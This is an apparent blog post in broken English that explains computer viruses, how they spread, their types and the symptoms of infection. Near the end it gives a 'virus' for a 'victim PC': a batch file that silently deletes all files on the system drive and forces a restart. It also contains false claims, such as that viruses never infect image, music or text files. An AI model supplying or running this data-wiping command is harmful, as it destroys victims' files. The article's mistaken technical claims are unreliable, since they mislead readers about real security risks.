Computer Virus Problem and Meaning of Virus

Computer Virus

Computer Virus: What is a computer virus?

An unskilled person in PC can  says  what is a  Computer virus ?. How it Spreads or Comes to PC? Well, Today I am gonna explained about Computer Virus and How it can be effected to a normal Pc or any other electronics devices that connects with Internet .
This is true virus is an Enemy of computers. If it Enter in a computer, The virus will destroy the computer. You know, a computer runs of two things combined. Without hardware and software, A computer never can be operate and open. You will be needed operating system, Multimedia, Graphics, Utility Etc software That each every computer users needed to run their computer. Except these Essential software’s, a computer is like a dad body. It means, without software’s a computer is nothing. A virus is a such software. But there is few difference between virus and Software. Peoples are use multimedia, Graphics, utility Etc software’s for their Requirement fulfill. These programmers will do tasks by following of your command and Instructions. But By your command a virus never will do work .

The people who makes virus, virus only follows the virus owner Command. Bad guys uses it for bad purposes or for harm others. A virus is such as a software that Elude and install automatically on a computer without an users permission. After Entered on a computer, The virus is prevail or moderate the attacking PC by itself.

How it comes on the computers? This is a very  interesting questions but answer is not easy for everyone. Virus never born on a computer. It spreads in a victim computers to the others computer invisibly. If I tell you to say the medium to communication with one another, may be the answer will be ‘’INTERNET’’. Why not? Because, without internet, You will not be able to communicate with someone and You know very well that the era of epistle life is about finish. Anyway, for example , You need a software which has published in America. So, it is not possible for you to get it in your own country. What should be do? For this, INTERNET is your relief and refuge to grab the software. So, these software you downloaded from Internet. Virus is like that which spreads by INTERNET and it can be attached from downloading unkown or pirate versions of Software.

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What types problem a user fall in And How much Harmful for a user?

Virus is Extended by EXE, BIN, COM, SYS, VBS etc. it attacks EXE, XML, SCR Etc files. So it is unnecessary to do scan image, text and music files. Virus never attacks a file Except EXE, SYS, BIN, COM . So if image, music or text corrupted somehow, it occurs only for operating systems error. Not for viruses.

they’re considered malicious or malevolent, but all viruses spread rapidly. There are thousands of different kinds of viruses but they form distinct groups.

Here is some of harmful viruses name, about their types and what they do :

a)Program or File Virus- it Infects executable (other programs, with affixes such as EXE, BIN, COM,SYS)

b)Boot sector Virus- it Infects boot sectors on hard and floppy disks.

c)Multipartite Virus- it is A hybrid of a program and boot sector virus.

d)Macro Virus- it Triggers on a command in  Microsoft Office or ExcEl.

e)Stealth Virus- it Uses various tactics to avoid detection.

f)Polymorphic Virus- it Uses encryption to foil detection, so that it appears differently in each infection.

Generally an user fall in these critical problems :

  •            An  administrative user uses some important command for his own safety.

Example : Task manager ( ctrl+alt+delete).

Another is : cmd, msconfig, gpedit, msc, regedit commands which are done by going RUN for making fastest computer. But these commands, will never works properly when it is disabled by a virus. “Program or File Virus” they Destroys or alters programs and data.

  •           All folders  icon will be disappear or disable. Never works the option of showing  hidden files.
  •           Sometimes there is seen that installition program doesn’t run rightly.
  •           Sometimes many important files is missed. It is happened when a user use a virus effected software. Computer will be slowing while you use an effected software Like anti-virus.
  •           PC is restarted or shut-down automatically.  Sometimes Fully hanged when a virus attack on a PC.
  •     When you use Microsoft or Excel, huge temp files is created and stay on in a folders only for viruses. That virus name is Macro Virus. Commonly it affects Word & Excel.
  •         When you enter a pen-drive on your PC, there is created many unknown file.
  •   The process of EXPLORER is stopped and everything is invisible of desktop.
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If you see these avobe problem on your PC, certainly your PC is attacked by a Harmful virus.

Okay, I will share you how to protect PC from viruses in my next post. In this post I want to share you a method to create a virus for a victim PC.

Make a virus in NOTEPAD :

This virus will be created by a notepad. So you will have to need a notepad. It can be removed all data of all drives. Just type these code in your notepad and save it by .BAT name :

@echo off

del %systemdrive%\*.*/f/s/q

Shutdown -r -f -t 00

N.B. Don’t run it on your own PC.


I hope you have read and understand about the basic of a Computer virus from this article. You should not use third party software which is come from unknown publishers and should not download pirate stuffs from online. You know that most of the virus is come from using internet and visiting harmful websites like adult sites so it will be very safe for you to stay away from harmful sites and downloading illegal things from internet. To keep protect from virus you can installed antivirus software in your PC. But you must remember to update your Antivirus as you know day by day new virus are making and if you are using old antivirus software which is not updated then it can not detect Virus in your pc. I hope this article has given you basic knowledge about Virus.

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